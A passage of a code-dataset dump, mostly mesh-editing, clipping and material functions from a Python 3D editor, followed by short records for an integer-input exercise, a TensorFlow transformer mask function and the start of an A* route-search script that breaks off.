self.state.selectedObjects:\n adjustors.append(OriginAdjustor(o))\n self.setupAdjustMode(MultiTranslateAdjustor(adjustors))\n\n def setCreatePosition():\n self.state.createPosition = \\\n Vector.fromTuple(self.adjustor.getAxes())\n self.adjustCompleteAction = setCreatePosition\n else:\n print(\"Only objects have origins\")\n\n\n def rotateSelected(self):\n if self.state.selectMode == EditorState.SELECT_OBJECTS:\n if len(self.state.selectedObjects) == 0:\n print(\"Nothing selected\")\n elif len(self.state.selectedObjects) == 1:\n self.setupAdjustMode(RotateAdjustor(\n self.state.selectedObjects[0]))\n else:\n translators = [ ]\n rotators = [ ]\n for o in self.state.selectedObjects:\n translators.append(TranslateAdjustor(o))\n rotators.append(RotateAdjustor(o))\n self.setupAdjustMode(MultiRotateAdjustor(translators, rotators))\n elif self.state.selectMode == EditorState.SELECT_VERTICES:\n if len(self.state.selectedVertices) == 0:\n print(\"Nothing selected\")\n elif len(self.state.selectedVertices) == 1:\n print(\"Single vertex cannot be rotated\")\n else:\n translators = [ ]\n rotators = [ ]\n for v in self.state.selectedVertices:\n translators.append(VertexTranslateAdjustor(\n v.vertex,\n v.editorObject))\n rotators.append(NoOpAdjustor(Adjustor.ROTATE))\n self.setupAdjustMode(MultiRotateAdjustor(translators, rotators))\n elif self.state.selectMode == EditorState.SELECT_FACES:\n if len(self.state.selectedFaces) == 0:\n print(\"Nothing selected\")\n else:\n translators = [ ]\n rotators = [ ]\n for f in self.state.selectedFaces:\n for v in f.face.getVertices():\n translators.append(VertexTranslateAdjustor(\n v.vertex,\n f.editorObject))\n rotators.append(NoOpAdjustor(Adjustor.ROTATE))\n self.setupAdjustMode(MultiRotateAdjustor(translators, rotators))\n\n # see ScaleAdjustor for description of edges and resize value\n def scaleSelected(self, edges, resize=False):\n if self.state.selectMode == EditorState.SELECT_OBJECTS:\n if len(self.state.selectedObjects) == 0:\n print(\"Nothing selected\")\n elif len(self.state.selectedObjects) == 1 \\\n and edges[0] == 0 and edges[1] == 0 and edges[2] == 0:\n # single ScaleAdjustor can't handle scaling from edges\n # but it doesn't move the origin while scaling\n if self.state.selectedObjects[0].getMesh() is None:\n print(\"Cannot scale a point\")\n return\n self.setupAdjustMode(ScaleAdjustor(\n self.state.selectedObjects[0], resize))\n else:\n self.setupAdjustMode(MultiScaleAdjustor(\n self.state.selectedObjects, edges, resize))\n elif self.state.selectMode == EditorState.SELECT_VERTICES:\n if len(self.state.selectedVertices) == 0:\n print(\"Nothing selected\")\n elif len(self.state.selectedVertices) == 1:\n print(\"Single vertex cannot be \"\n + \"resized\" if resize else \"scaled\")\n else:\n vertices = [ ]\n for v in self.state.selectedVertices:\n vertices.append(v.vertex)\n self.setupAdjustMode(MultiVertexScaleAdjustor(vertices, edges,\n resize))\n elif self.state.selectMode == EditorState.SELECT_FACES:\n if len(self.state.selectedFaces) == 0:\n print(\"Nothing selected\")\n else:\n vertices = [ ]\n for f in self.state.selectedFaces:\n for v in f.face.getVertices():\n vertices.append(v.vertex)\n self.setupAdjustMode(MultiVertexScaleAdjustor(vertices, edges,\n resize))\n\n def extrude(self):\n if self.state.selectMode == EditorState.SELECT_OBJECTS:\n if len(self.state.selectedObjects) == 0:\n print(\"Nothing selected\")\n else:\n adjustors = [ ]\n for o in self.state.selectedObjects:\n if o.getMesh() is not None:\n for face in o.getMesh().getFaces():\n adjustors.append(ExtrudeAdjustor(\n face, o, self.state))\n\n self.setupAdjustMode(MultiExtrudeAdjustor(adjustors))\n\n def deleteHollowedObjects():\n for o in self.state.selectedObjects:\n o.removeFromParent()\n self.state.objects.remove(o)\n if o.getMesh() is not None:\n o.getMesh().removeMaterials()\n self.state.deselectAll()\n self.state.world.removeUnusedMaterials()\n self.adjustCompleteAction = deleteHollowedObjects\n\n elif self.state.selectMode == EditorState.SELECT_VERTICES:\n print(\"Faces or objects must be selected to extrude\")\n elif self.state.selectMode == EditorState.SELECT_FACES:\n if len(self.state.selectedFaces) == 0:\n print(\"Nothing selected\")\n elif len(self.state.selectedFaces) == 1:\n self.setupAdjustMode(ExtrudeAdjustor(\n self.state.selectedFaces[0].face,\n self.state.selectedFaces[0].editorObject,\n self.state))\n else:\n adjustors = [ ]\n for face in self.state.selectedFaces:\n adjustors.append(ExtrudeAdjustor(\n face.face,\n face.editorObject,\n self.state))\n self.setupAdjustMode(MultiExtrudeAdjustor(adjustors))\n\n\n def setupAdjustMode(self, adjustor):\n self.inAdjustMode = True\n self.adjustor = adjustor\n self.adjustorOriginalValue = adjustor.getAxes()\n self.adjustMouseMovement = (0, 0)\n self.adjustCompleteAction = None\n self.editorMain.lockMouse()\n\n def setupArrowAction(self, action):\n self.arrowStart = self.state.createPosition\n self.arrowEnd = self.arrowStart\n self.arrowShown = True\n self.setupAdjustMode(ArrowStartAdjustor(self))\n\n def arrowStartSet():\n self.arrowEnd = self.arrowStart\n self.setupAdjustMode(ArrowEndAdjustor(self))\n\n def arrowEndSet():\n self.arrowShown = False\n self.state.createPosition = self.arrowStart\n action()\n self.adjustCompleteAction = arrowEndSet\n self.adjustCompleteAction = arrowStartSet\n\n def selectAtCursor(self, multiple=False, behindSelection=False):\n self.selectAtCursorOnDraw = True\n self.selectMultiple = multiple\n self.selectBehindSelection = behindSelection\n\n\n # Mesh editing:\n\n def divideEdge(self):\n if self.state.selectMode != EditorState.SELECT_VERTICES \\\n or len(self.state.selectedVertices) != 2:\n print(\"2 vertices must be selected\")\n else:\n print(\"Divide edge\")\n v1 = self.state.selectedVertices[0].vertex\n v2 = self.state.selectedVertices[1].vertex\n mesh = self.state.selectedVertices[0].editorObject.getMesh()\n\n # faces that have both vertices\n faces = self.findSharedFaces(v1, v2)\n\n if len(faces) < 2:\n print(\"Please select the 2 vertices of an edge.\")\n return\n if len(faces) > 2:\n print(\"WARNING: \" + len(faces) + \" have these vertices!\")\n print(\"This should never happen.\")\n # continue and hope it works\n\n newVertex = MeshVertex( (v1.getPosition() + v2.getPosition()) / 2 )\n mesh.addVertex(newVertex)\n\n for face in faces:\n index1 = face.indexOf(v1)\n index2 = face.indexOf(v2)\n numVertices = len(face.getVertices())\n\n # index1 should be the lowest\n if index1 > index2:\n temp = index1\n index1 = index2\n index2 = temp\n\n # make sure indices are consecutive\n insertIndex = 0\n if index2 - index1 == 1:\n insertIndex = index2\n elif index1 == 0 and index2 == numVertices - 1:\n insertIndex = index1\n else:\n continue\n\n face.addVertex(newVertex, index=insertIndex)\n\n\n def makeEdge(self):\n if self.state.selectMode != EditorState.SELECT_VERTICES \\\n or len(self.state.selectedVertices) != 2:\n print(\"2 vertices must be selected\")\n else:\n print(\"Make edge\")\n v1 = self.state.selectedVertices[0].vertex\n v2 = self.state.selectedVertices[1].vertex\n mesh = self.state.selectedVertices[0].editorObject.getMesh()\n\n # faces that have both vertices\n faces = self.findSharedFaces(v1, v2)\n\n if len(faces) != 1:\n print(\"Please select 2 unconnected vertices on a face.\")\n return\n\n face = faces[0]\n\n # divide vertices into 2 new faces\n\n index1 = face.indexOf(v1)\n index2 = face.indexOf(v2)\n numVertices = len(face.getVertices())\n\n # list of MeshFaceVertices\n face1Vertices = [ ]\n face2Vertices = [ ]\n\n inFace1 = True\n\n for i in range(0, numVertices):\n if inFace1:\n face1Vertices.append(face.getVertices()[i])\n else:\n face2Vertices.append(face.getVertices()[i])\n if i == index1 or i == index2:\n inFace1 = not inFace1\n if inFace1:\n face1Vertices.append(face.getVertices()[i])\n else:\n face2Vertices.append(face.getVertices()[i])\n\n newFace1 = MeshFace()\n for v in face1Vertices:\n newFace1.addVertex(v.vertex, v.textureVertex)\n newFace2 = MeshFace()\n for v in face2Vertices:\n newFace2.addVertex(v.vertex, v.textureVertex)\n\n newFace1.copyMaterialInfo(face)\n newFace2.copyMaterialInfo(face)\n mesh.removeFace(face)\n\n mesh.addFace(newFace1)\n mesh.addFace(newFace2)\n\n\n def combineVertices(self):\n if self.state.selectMode != EditorState.SELECT_VERTICES \\\n or len(self.state.selectedVertices) != 2:\n print(\"2 vertices must be selected\")\n else:\n print(\"Combine vertices\")\n v1 = self.state.selectedVertices[0].vertex\n v2 = self.state.selectedVertices[1].vertex\n mesh = self.state.selectedVertices[0].editorObject.getMesh()\n if mesh != self.state.selectedVertices[1].editorObject.getMesh():\n print(\"Please select 2 vertices on the same mesh\")\n return\n\n # faces that have both vertices\n sharedFaces = self.findSharedFaces(v1, v2)\n\n # replace all v2 references with v1\n\n v2References = list(v2.getReferences())\n for face in v2References:\n for vertex in face.getVertices():\n if vertex.vertex == v2:\n face.replaceVertex(vertex,\n MeshFaceVertex(v1,\n vertex.textureVertex))\n\n # remove duplicate v1 vertices\n for face in sharedFaces:\n vertexIndex = face.indexOf(v1)\n vertex = face.getVertices()[vertexIndex]\n face.removeVertex(vertex) # remove only first reference\n v1.addReference(face)\n\n mesh.removeVertex(v2)\n del self.state.selectedVertices[1]\n\n\n def combineFaces(self):\n if self.state.selectMode != EditorState.SELECT_VERTICES \\\n or len(self.state.selectedVertices) != 2:\n print(\"2 vertices must be selected\")\n else:\n print(\"Combine faces\")\n v1 = self.state.selectedVertices[0].vertex\n v2 = self.state.selectedVertices[1].vertex\n mesh = self.state.selectedVertices[0].editorObject.getMesh()\n\n # faces that have both vertices\n faces = self.findSharedFaces(v1, v2)\n\n if len(faces) != 2:\n print(\"The vertices of an edge dividing 2 faces must be \"\n \"selected\")\n return\n\n newFace = MeshFace()\n\n faceNum = 0\n for face in faces:\n numVertices = len(face.getVertices())\n v1Index = face.indexOf(v1)\n v2Index = face.indexOf(v2)\n # make sure there are vertices moving from v1 to v2\n # otherwise swap them\n if v1Index - v2Index != 1 and \\\n not (v2Index == numVertices - 1 and v1Index == 0):\n temp = v1Index\n v1Index = v2Index\n v2Index = temp\n\n i = v1Index\n while i != v2Index:\n newVertex = face.getVertices()[i]\n newFace.addVertex(newVertex.vertex, newVertex.textureVertex)\n i += 1\n i %= numVertices\n\n faceNum += 1\n\n newFace.copyMaterialInfo(faces[0])\n mesh.removeFace(faces[0])\n mesh.removeFace(faces[1])\n mesh.addFace(newFace)\n\n self.state.world.removeUnusedMaterials()\n\n\n # find faces that have both vertices\n def findSharedFaces(self, v1, v2):\n faces = list(v1.getReferences())\n\n faces2 = v2.getReferences()\n remove = [ ]\n for face in faces:\n if face not in faces2:\n remove.append(face)\n for face in remove:\n faces.remove(face)\n\n return faces\n\n\n def clip(self):\n if self.state.selectMode == EditorState.SELECT_OBJECTS:\n if len(self.state.selectedObjects) == 0:\n print(\"Objects must be selected\")\n else:\n self.setupArrowAction(self.clipSelected)\n else:\n print(\"Objects must be selected\")\n\n def clipSelected(self):\n print(\"Clip\")\n planePoint = self.arrowStart\n planeNormal = (planePoint - self.arrowEnd).normalize()\n\n objectsToRemove = [ ]\n for o in self.state.selectedObjects:\n if o.getMesh() is not None:\n oClone = o.clone()\n self.state.objects.append(oClone)\n \n # translate everything relative to mesh\n relativePoint = planePoint - o.getPosition()\n \n self.clipMesh(o.getMesh(), relativePoint, planeNormal)\n self.clipMesh(oClone.getMesh(), relativePoint, -planeNormal)\n \n if o.getMesh().isEmpty():\n objectsToRemove.append(o)\n if oClone.getMesh().isEmpty():\n objectsToRemove.append(oClone)\n for o in objectsToRemove:\n print(\"Removing object\")\n self.state.deselect(o)\n self.state.objects.remove(o)\n\n # planePoint must be relative to mesh\n # the planeNormal should point in the direction of the half to KEEP\n def clipMesh(self, mesh, planePoint, planeNormal):\n print(\"Clipping mesh...\")\n if planeNormal.isCloseToZero():\n print(\"Cannot clip: clip plane normal is zero!\")\n return\n\n # if something goes wrong, use this backup to restore the original mesh\n # data\n # TODO: this is never used!\n backupMesh = mesh.clone()\n\n INSIDE = 0\n ON_PLANE = 1 # counts as inside\n OUTSIDE = 2\n\n # pairs of vectors representing edges that have been created by clipping\n # faces. these edges will be used to create new faces\n newFaceEdges = [ ]\n\n facesToRemove = [ ]\n\n for face in mesh.getFaces():\n # mark each vertex of the face as inside, outside, or on the plane\n # of the clip area...\n\n # an array of INSIDE's, OUTSIDE's, or ON_PLANE's; one for each\n # vertex\n vertexLocations = [ ]\n hasInside = False\n hasOutside = False\n hasOnPlane = False\n for faceVertex in face.getVertices():\n vector = faceVertex.vertex.getPosition()\n if vector.isClose(planePoint):\n vertexLocations.append(ON_PLANE)\n hasOnPlane = True\n continue # to next vertex\n angle = (vector - planePoint).normalize()\\\n .angleBetween(planeNormal)\n if vectorMath.isclose(angle, math.pi / 2): # 90 degrees\n vertexLocations.append(ON_PLANE)\n hasOnPlane = True\n elif angle < math.pi / 2 or angle > math.pi * 3 / 2:\n vertexLocations.append(INSIDE)\n hasInside = True\n else:\n vertexLocations.append(OUTSIDE)\n hasOutside = True\n\n if (not hasInside) and (not hasOutside): # all vertices are ON_PLANE\n if planeNormal.isClose(face.getNormal()):\n facesToRemove.append(face)\n elif planeNormal.isClose(-face.getNormal()):\n pass\n else:\n print(\"WARNING: Face and plane are coplanar, but normals\"\n \" do not match\")\n continue # to next face\n\n if hasOnPlane: # some vertices are ON_PLANE\n # search for edges on the plane and add them to the list\n for i in range(0, len(vertexLocations)):\n # -1 is a valid index\n if vertexLocations[i] == ON_PLANE and \\\n vertexLocations[i-1] == ON_PLANE:\n edge = (face.getVertices()[i].vertex.getPosition(),\n face.getVertices()[i-1].vertex.getPosition())\n self.addUniqueEdge(edge, newFaceEdges)\n # don't continue; clip as normal\n\n if not hasInside: # all vertices are OUTISDE or ON_PLANE\n facesToRemove.append(face) # face is entirely outside plane\n continue # to next face\n\n if hasInside and hasOutside: # some vertices INSIDE, some OUTSIDE\n # partly inside plane and partly outside; clip the face\n\n # rotate/translate both the face and clip plane so the face is\n # coplanar with the x = 0 plane\n # vertex 0 will be the origin\n origin = face.getVertices()[0].vertex.getPosition()\n faceNormalRotate = face.getNormal().rotation()\n\n translatedPlanePoint = planePoint - origin\n rotatedPlane = vectorMath.inverseRotatePlane(translatedPlanePoint,\n planeNormal, -faceNormalRotate)\n planeLineConstants = Vector(rotatedPlane[1],\n rotatedPlane[2],\n rotatedPlane[3])\n\n # remove vertices outside the clip plane\n # any edges between inside and outside vertices will be added\n # to edgesToClip\n verticesToRemove = [ ]\n vertexInsertationIndices = [ ]\n edgesToClip = [ ]\n i = 0\n for location in vertexLocations:\n if location == OUTSIDE:\n verticesToRemove.append(face.getVertices()[i].vertex)\n if vertexLocations[i-1] != OUTSIDE:\n edge = (face.getVertices()[i].vertex.getPosition(),\n face.getVertices()[i-1].vertex.getPosition())\n edgesToClip.append(edge)\n vertexInsertationIndices.append(i)\n else:\n if vertexLocations[i-1] == OUTSIDE:\n edge = (face.getVertices()[i].vertex.getPosition(),\n face.getVertices()[i-1].vertex.getPosition())\n edgesToClip.append(edge)\n vertexInsertationIndices.append(i)\n i += 1\n newVertices = [ ]\n # create new vertices along any edges to clip,\n # but don't give them a position yet.\n # reverse array to prevent lower indices from pushing up higher\n # indices\n for i in reversed(vertexInsertationIndices):\n newVertex = mesh.addVertex()\n face.addVertex(newVertex, index=i)\n newVertices.insert(0, newVertex)\n for v in verticesToRemove:\n face.removeVertex(face.findFaceVertex(v))\n\n if len(edgesToClip) != 2:\n print(\"WARNING: Not 2 edges to clip for this face!\")\n\n # there is a line where the face and the clip plane intersect\n # the face has already been oriented to x=0, so the intersection\n # is easy to calculate: for plane ax+by+cz+d=0, the intersection\n # with x=0 is by+cz+d=0.\n # the edges that cross the clip plane will be clipped by\n # creating new vertices where they intersect the line. the\n # vertices will then be rotated back.\n i = 0\n for edge in edgesToClip:\n # vector 0 and vector 1 are the two points of the rotated\n # edge. after rotating the edges, x values for all will be\n # 0 (not always exact because of float inaccuracies)\n v0 = (edge[0] - origin).inverseRotate(-faceNormalRotate)\n v1 = (edge[1] - origin).inverseRotate(-faceNormalRotate)\n assert vectorMath.isclose(v0.x, 0)\n assert vectorMath.isclose(v1.x, 0)\n # equation for the line: ax+by+c=0\n # represented as a Vector of homogeneous coordinates\n edgeLineConstants = Vector( v0.z - v1.z,\n v1.y - v0.y,\n v0.y*v1.z - v1.y*v0.z )\n # TODO: divide by zero errors here:\n intersectionPoint = edgeLineConstants.cross(\n planeLineConstants).homogeneousTo2d()\n intersectionPoint = Vector(0,\n intersectionPoint.x,\n intersectionPoint.y)\n # undo any rotations\n intersectionPoint = intersectionPoint.rotate(\n faceNormalRotate) + origin\n # this is where the position of new vertices is set\n # TODO: this position is not always right\n newVertices[i].setPosition(intersectionPoint)\n i += 1\n\n edge = ( newVertices[0].getPosition(),\n newVertices[1].getPosition() )\n self.addUniqueEdge(edge, newFaceEdges)\n\n verticesToRemove = [ ]\n i = 0\n for vertex in face.getVertices():\n if vertex.vertex.getPosition().isClose(\n face.getVertices()[i - 1].vertex.getPosition()):\n verticesToRemove.append(vertex)\n i += 1\n for v in verticesToRemove:\n face.removeVertex(v)\n # end if hasInside and hasOutside\n # end for face in mesh.getFaces()\n\n for face in facesToRemove:\n mesh.removeFace(face)\n\n # special case: the plane was coplanar with a face and all faces were\n # deleted\n mesh.removeUnusedVertices()\n if mesh.isEmpty():\n return\n\n # construct new faces from all of the edges that have been created\n while not len(newFaceEdges) == 0:\n newFace = mesh.addFace()\n firstVertex = mesh.addVertex(MeshVertex(newFaceEdges[0][0]))\n newFace.addVertex(firstVertex)\n prevVertex = MeshVertex(newFaceEdges[0][1])\n del newFaceEdges[0]\n\n while not firstVertex.getPosition().isClose(\n prevVertex.getPosition()):\n mesh.addVertex(prevVertex)\n newFace.addVertex(prevVertex)\n foundEdge = None\n for edge in newFaceEdges:\n if edge[0].isClose(prevVertex.getPosition()):\n prevVertex = MeshVertex(edge[1])\n foundEdge = edge\n break\n elif edge[1].isClose(prevVertex.getPosition()):\n prevVertex = MeshVertex(edge[0])\n foundEdge = edge\n break\n if foundEdge is None:\n print(\"WARNING: Cannot complete face!\",\n len(newFace.getVertices()), \"vertices so far.\")\n print(\"Vertices: \", str(newFace.getVertices()))\n break\n else:\n newFaceEdges.remove(foundEdge)\n\n if len(newFace.getVertices()) < 3:\n print(\"WARNING: Invalid face!\")\n print(\"Vertices: \", str(newFace.getVertices()))\n mesh.removeFace(newFace)\n else:\n print(\"Completed face with\", len(newFace.getVertices()),\n \"vertices\")\n angle = newFace.getNormal().angleBetween(planeNormal)\n if angle < math.pi / 2 or angle > math.pi * 3 / 2:\n newFace.reverse()\n newFace.copyMaterialInfo(mesh.getFaces()[0])\n # end while not len(newFaceEdges) == 0\n\n mesh.cleanUp()\n self.state.world.removeUnusedMaterials()\n print(\"Done clipping\")\n # end def clipMesh\n\n\n def carve(self):\n if self.state.selectMode == EditorState.SELECT_OBJECTS:\n if len(self.state.selectedObjects) == 0:\n print(\"Objects must be selected\")\n else:\n print(\"Carve\")\n objectsToCarve = [ ]\n for editorObject in self.state.objects:\n if (not editorObject in self.state.selectedObjects) \\\n and editorObject.getMesh() is not None:\n boundsA = editorObject.getTranslatedBounds()\n for selectedObject in self.state.selectedObjects:\n if selectedObject.getMesh() is not None:\n boundsB = selectedObject.getTranslatedBounds()\n if vectorMath.boxesIntersect(boundsA, boundsB):\n objectsToCarve.append(editorObject)\n break\n for objectToCarve in objectsToCarve:\n for selectedObject in self.state.selectedObjects:\n if selectedObject.getMesh() is not None:\n for face in selectedObject.getMesh().getFaces():\n planePoint = face.getVertices()[0].vertex \\\n .getPosition()\n planePoint += selectedObject.getPosition()\n planePoint -= objectToCarve.getPosition()\n planeNormal = face.getNormal()\n objectClone = objectToCarve.clone()\n self.clipMesh(objectClone.getMesh(),\n planePoint, planeNormal)\n if not objectClone.getMesh().isEmpty():\n self.state.objects.append(objectClone)\n self.clipMesh(objectToCarve.getMesh(),\n planePoint, -planeNormal)\n if objectToCarve.getMesh().isEmpty():\n break\n if objectToCarve.getMesh().isEmpty():\n break\n if objectToCarve.getMesh().isEmpty():\n break\n for objectToCarve in list(objectsToCarve):\n self.state.objects.remove(objectToCarve)\n else:\n print(\"Objects must be selected\")\n\n\n # add the edge to the list only if it hasn't already been added\n # check for reverse order of vertices\n def addUniqueEdge(self, edge, edgeList):\n for existingEdge in edgeList:\n if existingEdge[0].isClose(edge[0]) and \\\n existingEdge[1].isClose(edge[1]):\n return\n if existingEdge[0].isClose(edge[1]) and \\\n existingEdge[1].isClose(edge[0]):\n return\n edgeList.append(edge)\n\n\n # ADJUST MODE ACTIONS:\n\n def selectAdjustAxis(self, axis):\n self.selectedAxes = (self.selectedAxes[1], axis)\n\n def increaseGrid(self):\n gridType = self.adjustor.gridType()\n if self.adjustor.gridType() == Adjustor.ROTATE:\n current = self.state.getGridSize(gridType)\n for size in EditorActions.ROTATE_GRID_SIZES:\n if size > current:\n self.state.setGridSize(gridType, size)\n break\n else:\n self.multiplyGrid(2.0)\n\n def decreaseGrid(self):\n gridType = self.adjustor.gridType()\n if self.adjustor.gridType() == Adjustor.ROTATE:\n current = self.state.getGridSize(gridType)\n previous = EditorActions.ROTATE_GRID_SIZES[0]\n for size in EditorActions.ROTATE_GRID_SIZES:\n if size >= current:\n self.state.setGridSize(gridType, previous)\n break\n previous = size\n else:\n self.multiplyGrid(0.5)\n\n def setGrid(self, value):\n self.state.setGridSize(self.adjustor.gridType(), float(value))\n\n def multiplyGrid(self, factor):\n gridType = self.adjustor.gridType()\n self.state.setGridSize(gridType,\n self.state.getGridSize(gridType) * factor)\n\n def toggleSnap(self):\n if self.state.snapEnabled:\n self.state.snapEnabled = False\n else:\n self.state.snapEnabled = True\n self.adjustMouseMovement = (0, 0)\n\n def snapToGrid(self):\n print(\"Snap to grid\")\n axes = self.selectedAxes\n value = list(self.adjustor.getAxes())\n grid = self.state.getGridSize(self.adjustor.gridType())\n value[axes[0]] = round(value[axes[0]] / grid) * grid\n value[axes[1]] = round(value[axes[1]] / grid) * grid\n self.adjustor.setAxes(tuple(value))\n\n def adjustToOrigin(self):\n print(\"To origin\")\n self.adjustor.setAxes((0.0, 0.0, 0.0))\n\n def toggleRelativeCoordinates(self):\n self.state.relativeCoordinatesEnabled = \\\n not self.state.relativeCoordinatesEnabled\n\n def toggleAxisLock(self):\n self.state.axisLockEnabled = not self.state.axisLockEnabled\n\n def setAdjustAxisValue(self, axis, number):\n value = list(self.adjustor.getAxes())\n origin = (0, 0, 0)\n if self.state.relativeCoordinatesEnabled:\n origin = self.adjustorOriginalValue\n value[axis] = number + origin[axis]\n self.adjustor.setAxes(tuple(value))\n\n def adjustToCreatePosition(self):\n if self.adjustor.gridType() == Adjustor.TRANSLATE:\n print(\"To create position\")\n self.adjustor.setAxes(self.state.createPosition.getTuple())\n elif self.adjustor.gridType() == Adjustor.ROTATE:\n print(\"Can't rotate to create position\")\n elif self.adjustor.gridType() == Adjustor.SCALE:\n print(\"Can't scale to create position\")\n\n def completeAdjust(self):\n self.inAdjustMode = False\n self.editorMain.unlockMouse()\n adjustor = self.adjustor\n if self.adjustCompleteAction is not None:\n action = self.adjustCompleteAction\n self.adjustCompleteAction = None\n action()\n adjustor.complete()\n # prevent issues if complete action involves a new adjust mode:\n if adjustor == self.adjustor:\n self.adjustor = None\n\n\n # MATERIALS:\n\n def setCurrentMaterial(self, name):\n if name is not None and name != \"\":\n foundMaterial = self.state.world.findMaterial(name)\n\n if foundMaterial is not None:\n self.state.setCurrentMaterial(foundMaterial)\n self.state.world.updateMaterial(self.state.currentMaterial)\n else:\n matRef = MaterialReference(name)\n self.state.world.addMaterial(matRef)\n self.state.setCurrentMaterial(matRef)\n else:\n self.state.world.updateMaterial(self.state.currentMaterial)\n\n def paint(self):\n if self.state.selectMode == EditorState.SELECT_OBJECTS:\n if len(self.state.selectedObjects) == 0:\n print(\"Nothing selected\")\n else:\n for o in self.state.selectedObjects:\n if o.getMesh() is not None:\n for f in o.getMesh().getFaces():\n self.setFaceMaterial(f, self.state.currentMaterial)\n elif self.state.selectMode == EditorState.SELECT_VERTICES:\n print(\"Cannot paint vertices\")\n elif self.state.selectMode == EditorState.SELECT_FACES:\n if len(self.state.selectedFaces) == 0:\n print(\"Nothing selected\")\n else:\n for f in self.state.selectedFaces:\n self.setFaceMaterial(f.face, self.state.currentMaterial)\n self.state.world.removeUnusedMaterials()\n\n def setFaceMaterial(self, face, materialReference):\n face.setMaterial(materialReference)\n\n def translateMaterials(self):\n if self.state.selectMode == EditorState.SELECT_FACES and \\\n len(self.state.selectedFaces) != 0:\n faces = [f.face for f in self.state.selectedFaces]\n self.setupAdjustMode(MaterialTranslateAdjustor(faces))\n elif self.state.selectMode == EditorState.SELECT_OBJECTS and \\\n len(self.state.selectedObjects) != 0:\n faces = [ ]\n for o in self.state.selectedObjects:\n if o.getMesh() is not None:\n faces += o.getMesh().getFaces()\n self.setupAdjustMode(MaterialTranslateAdjustor(faces))\n else:\n print(\"Faces must be selected\")\n\n def rotateMaterials(self):\n if self.state.selectMode == EditorState.SELECT_FACES and \\\n len(self.state.selectedFaces) != 0:\n faces = [f.face for f in self.state.selectedFaces]\n self.setupAdjustMode(MaterialRotateAdjustor(faces))\n elif self.state.selectMode == EditorState.SELECT_OBJECTS and \\\n len(self.state.selectedObjects) != 0:\n faces = [ ]\n for o in self.state.selectedObjects:\n if o.getMesh() is not None:\n faces += o.getMesh().getFaces()\n self.setupAdjustMode(MaterialRotateAdjustor(faces))\n else:\n print(\"Faces must be selected\")\n\n def scaleMaterials(self):\n if self.state.selectMode == EditorState.SELECT_FACES and \\\n len(self.state.selectedFaces) != 0:\n faces = [f.face for f in self.state.selectedFaces]\n self.setupAdjustMode(MaterialScaleAdjustor(faces))\n elif self.state.selectMode == EditorState.SELECT_OBJECTS and \\\n len(self.state.selectedObjects) != 0:\n faces = [ ]\n for o in self.state.selectedObjects:\n if o.getMesh() is not None:\n faces += o.getMesh().getFaces()\n self.setupAdjustMode(MaterialScaleAdjustor(faces))\n else:\n print(\"Faces must be selected\")\n\n","repo_name":"vanjac/three","sub_path":"threelib/edit/editorActions.py","file_name":"editorActions.py","file_ext":"py","file_size_in_byte":56915,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"74151972712","text":"def read_int(prompt, min, max):\n #\n # Write your code here.\n #\n while True:\n \n try:\n number = input(prompt)\n assert int(number) <= max and int(number) >= min\n return number\n \n \n \n except AssertionError:\n print(number,'is not in the range')\n except ValueError:\n print(number, 'is not an integer number')\n \n\nv = read_int(\"Enter a integer number from -10 to 10: \", -10, 10)\n\nprint(\"The number is:\", v)\n","repo_name":"gonzalonata06/supercomputo_python","sub_path":"modulo2_essentials2/reading_ints.py","file_name":"reading_ints.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"27024032338","text":"#!/usr/bin/env python3\n\"\"\"Module create_masks.\"\"\"\nimport tensorflow.compat.v2 as tf\n\n\ndef create_masks(inputs, target):\n '''\n creates all masks for training/validation\n :inputs: is a tf.Tensor of shape (batch_size, seq_len_in)\n that contains the input sentence\n :target: is a tf.Tensor of shape (batch_size, seq_len_out)\n that contains the target sentence\n '''\n # Encoder padding mask\n encoder_mask = tf.cast(tf.math.equal(inputs, 0), dtype=tf.float32)\n encoder_mask = tf.expand_dims(encoder_mask, axis=1)\n encoder_mask = tf.expand_dims(encoder_mask, axis=1)\n\n # Look ahead mask\n look_ahead_mask = tf.cast(tf.math.greater(\n tf.range(tf.shape(target)[1]), tf.range(\n tf.shape(inputs)[1])[:, tf.newaxis]), dtype=tf.float32)\n look_ahead_mask = tf.expand_dims(look_ahead_mask, axis=1)\n\n # Decoder padding mask\n decoder_mask = tf.cast(tf.math.equal(target, 0), dtype=tf.float32)\n decoder_mask = tf.expand_dims(decoder_mask, axis=1)\n decoder_mask = tf.expand_dims(decoder_mask, axis=1)\n\n # Combine the masks\n combined_mask = tf.maximum(look_ahead_mask, decoder_mask)\n\n return encoder_mask, combined_mask, decoder_mask\n","repo_name":"luisobregon21/holbertonschool-machine_learning","sub_path":"supervised_learning/0x12-transformer_apps/4-create_masks.py","file_name":"4-create_masks.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"37532573917","text":"import sys, time\r\nimport time\r\nimport math\r\nfrom heapq import heappush, heappop\r\nfrom tkinter import Tk, Canvas\r\n\r\ndef calcDistance(x1, y1, x2, y2): #(lattitude, longitude)\r\n radius = 3958.755866\r\n\r\n y1 = float(y1)\r\n x1 = float(x1)\r\n y2 = float(y2)\r\n x2 = float(x2)\r\n print(str(x1)+\" \"+str(y1)+\" \"+str(x2)+\" \"+str(y2))\r\n y1 *= math.pi / 180\r\n x1 *= math.pi / 180\r\n y2 *= math.pi / 180\r\n x2 *= math.pi / 180\r\n\r\n return math.acos(math.sin(x1) * math.sin(x2) + math.cos(x1) * math.cos(x2) * math.cos(y2 - y1)) * radius\r\n\r\ndef findpath(dictionary, end, start, distance):\r\n parent = dictionary.get(end)\r\n array = []\r\n array.append(end)\r\n array.append(parent)\r\n while parent != start:\r\n parent = dictionary.get(parent)\r\n array.append(parent)\r\n length = len(array)-1\r\n array = array[::-1]\r\n print(\"Distance Traveled: \" + str(distance) + \" miles\")\r\n\r\n #print(\"The number of cities: \" + str(length))\r\n return(array)\r\n\r\ndef a_star_search(city1,city2,canvas, minY, minX):\r\n startX = dictNodes.get(city1)[0]\r\n startY = dictNodes.get(city1)[1]\r\n x1End = dictNodes.get(city2)[0]\r\n y1End = dictNodes.get(city2)[1]\r\n update = 0\r\n openS = []\r\n closedS = {}\r\n heappush(openS, (calcDistance(startX, startY,x1End,y1End),city1,0,None))\r\n while(len(openS) != 0):\r\n tup = heappop(openS)\r\n name = tup[1]\r\n d = tup[2]\r\n aList = 